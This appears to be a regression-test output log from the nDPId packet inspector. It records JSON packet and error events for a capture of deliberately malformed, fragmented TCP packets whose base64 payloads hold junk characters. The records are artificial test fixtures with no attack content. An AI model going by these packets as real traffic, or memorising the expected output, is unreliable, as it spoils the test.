-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778599} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778609} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778619} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778631} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778640} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778650} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778667} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778677} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778686} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778696} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778710} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778720} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778725} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":6447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778730} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778735} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778745} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778759} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778764} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778769} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778773} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778778} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778792} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":6459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778802} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778811} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778820} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778833} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778852} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778861} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778882} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778892} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778901} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778911} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778932} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778941} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778951} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778960} 